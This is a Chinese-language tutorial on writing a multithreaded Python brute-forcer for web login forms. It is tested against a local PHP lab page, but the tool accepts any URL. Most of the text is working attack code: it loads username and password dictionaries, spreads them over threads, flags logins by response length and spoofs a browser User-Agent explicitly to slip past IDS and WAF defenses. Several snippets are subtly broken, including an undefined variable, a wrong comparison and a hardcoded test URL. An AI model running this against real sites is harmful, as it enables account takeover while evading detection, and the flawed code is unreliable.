当我们进行在线密码破解时,使用 BurpSuite 以及 wfuzz 足以应对大部分网站应用场景。但是在遇到一些特殊情况时我们还是需要自己来开发密码爆破工具,本文将介绍如何使用Python开发一款简单的密码爆破工具。
记得有大佬曾经说过:一个系统的突破往往是从弱口令开始,为了拿到弱口令我们就需要了解密码破解技术。密码破解主要分为离线密码破解和在线密码破解。
在平时渗透时我们通常遇到的就是在线密码破解,破解对象包括各类系统服务以及各种网站应用,当我们面对rdp、ftp、ssh等服务,一般情况下可使用 hydra、超级弱口令爆破工具进行破解;而假如面对的是网站应用,最常用到的就是 BurpSuite、wfuzz。
离线破解主要出现在后渗透阶段,在系统中存在各种加密的哈希值,借助 hashcat、john 等破解工具则能够有效地帮助我们完成密码破解,遇到实在无法破解的密文我们还可以放入在线破解网站进行解密。
Python是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现面向对象编程。Python简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。
我在 macOS 下使用环境搭建工具为 MAMP,环境语言为 PHP。没有 mac 的同学可在 Windows 下可使用 phpstudy 代替即可。MAMP 默认开放8888端口,访问后出现如下界面说明环境开启成功。
源代码以POST方式传递账号密码,主要用于测试密码爆破,具体代码如下:
<?php
$con = mysqli_connect("localhost:8889","root","root","test");
if (mysqli_connect_errno())
{
echo "Fail: ".mysql_connect_error();
}
$username = $_POST['username'];
$password = $_POST['password'];
$submit = $_POST['submit'];
if ($submit == "submit"){
$result = mysqli_query($con,"select * from users where `username`='".addslashes($username)."' and `password`='".addslashes($password)."'");
}
$row = mysqli_fetch_array($result);
if ($row){
exit("login success");
}else{
exit("login failed");
}
?>
为了配合密码破解在数据库中创建users
表并存入一些账号密码。
使用 Python 进行测试并输入正确的账号密码。
import requests
url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "admin", "password": "123456", "submit": "submit"}, headers=headers)
print(r.text)
成功返回login success
说明环境搭建成功。
首先我们使用 Python 自带的 OptParse 模块定制程序的参数选项控制,基本用法如下。
1、导入OptionParser类并新建对象OptionParser()
2、添加选项: add_option(…)
3、参数解析: parse_args()
在 add_option() 中可配置如下参数。
dest: 决定解析后取值时的属性名
type: 选项的值类型,默认类型是字符串
help: 选项中的帮助信息
metavar: 显示到 help 中选项的默认值
action: 用于控制对选项和参数的处理,可设置为以下几种字符串:
- "store": 储存值到 dest 指定的属性,强制要求后面提供参数
- "store_true": 当使用该选项时后面的 dest 将设置为 true, 不跟参数
- "store_false": 当使用该选项时后面的 dest 将设置为 false,常配合另一个 "store_true" 的选项使用同一个 dest 时使用,不跟参数
- "append": 储存值到 dest 指定的属性并且是以数组的形式, 必须跟参数
- "store_const": 用来存储参数为 const 设置的值到 dest 指定的属性当中,常用于 dest 为同名2个以上选项时的处理,不跟参数
- "append_const": 用来存储参数为 const 设置的数组到 dest 指定的属性当中,不跟参数
- "count": 使用后将给储存值到 dest 指定的属性值加1,可以统计参数中出现次数,不跟参数
- "callback": 后面指定回调函数名(不加括号),会将相应opt和args传给回调函数
- "help", "version": 对应为帮助和版本,要另外自己设计时使用
有了以上知识的了解,我们可为爆破工具配置对应的参数选项,主要包括请求地址、账号字典、密码字典以及进程。
import optparse
parser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")
(options, args) = parser.parse_args()
使用-h
命令查看输出的帮助信息。
密码字典和线程主要用于控制 payload 请求,线程决定并发的 payload 请求数,而密码决定具体的 payload 请求内容。
import math
# 输入参数选项
website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfile
pass_list = []
# 打开密码字典
with open(pass_dic) as f:
temp_list = f.readlines()
temp_threads_list = []
# 使用临时列表的项数除以线程数确定每一个线程中的项数
num = len(temp_list)
result = num/threads
# 选择floor向下取整
result_num = math.floor(result)
# 根据项数分配 payload
flag = 0
for line in temp_list:
flag = flag + 1
temp_threads_list.append(line.strip())
if flag == result_num:
flag = 0
pass_list.append(temp_threads_list)
temp_threads_list = []
# 如果存在余数需添加多余项
for line in temp_threads_list:
pass_list[threads-1].append(line)
多线程扫描需导入 threading、requests 模块,从字典中获取用户以及密码作为请求参数进行扫描,我们可根据返回长度来判断登陆是否成功。
import requests
import threading
def scan(payload):
user = payload["username"]
pass_list = payload["pass_list"]
# 遍历密码发送请求
for password in pass_list:
r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"})
# 打印扫描结果
print(user + " : " + password + " length=" + str(len(r.text)) + "\n")
threads_list = []
# 打开账号字典
with open(user_dict) as f:
user_dict = f.readlines()
# 确定payload
for user in user_dict:
for pass_line in pass_list:
payload = {"username": user.strip(), "pass_list": pass_line}
threads_list.append(threading.Thread(target=scan, args=(payload,)))
# 启动线程
for thread in threads_list:
thread.start()
使用以上代码对目标进行测试,查看扫描效果。
python3 web_brute.py -s http://127.0.0.1:8888/python_test/brute/brute_submit.php -u username.txt -p password.txt -t 4
结果虽然能够完成对目标的测试并成功获取不同的返回值,但是一旦账号密码足够多的话我们很难从一堆扫描结果中找到登陆成功的账号密码,因此我们可定义 test 类作为参考,使用一个错误的返回值进行对比并输出最终的扫描结果。
def test():
url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "mac", "password": "mac", "submit": "submit"})
return len(r.text)
def scan(paylaod):
...
for password in pass_list:
r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"},)
if len(r.text) != test():
print(user + ":" + password + " login success")
再次进行测试,返回结果只显示登录成功的账号密码以及扫描结果。
但是这其中还存在一个问题:使用 requests 库会在请求头中设置默认的User-agent
。
为了躲避 IDS、WAF 等防御设备,我们可以定制请求头为正常的浏览器请求。
def scan(payload):
...
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"
}
for password in pass_list:
r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)
测试成功,这样一来一个简单的密码爆破工具开发完成,源码如下:
import math
import optparse
import threading
import requests
parser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")
(options, args) = parser.parse_args()
website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfile
pass_list = []
with open(pass_dic) as f:
temp_list = f.readlines()
temp_threads_list = []
num = len(temp_list)
result = num/threads
result_num = math.floor(result)
flag = 0
for line in temp_list:
flag = flag + 1
temp_threads_list.append(line.strip())
if flag == result:
flag = 0
pass_list.append(temp_threads_list)
temp_threads_list = []
for line in temp_threads_list:
pass_list[threads-1].append(line)
def test():
url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "admin", "password": "12345", "submit": "submit"})
return len(r.text)
def scan(payload):
user = payload["username"]
pass_list = payload["pass_list"]
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"
}
for password in pass_list:
r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)
if len(r.text) != test():
print(user + ":" + password + " login success")
threads_list = []
with open(user_dict) as f:
user_dict = f.readlines()
for user in user_dict:
for pass_line in pass_list:
payload = {"username": user.strip(), "pass_list": pass_line}
threads_list.append(threading.Thread(target=scan, args=(payload,)))
for thread in threads_list:
thread.start()
以后我们可修改其中的参数、变量来应对不同的应用环境。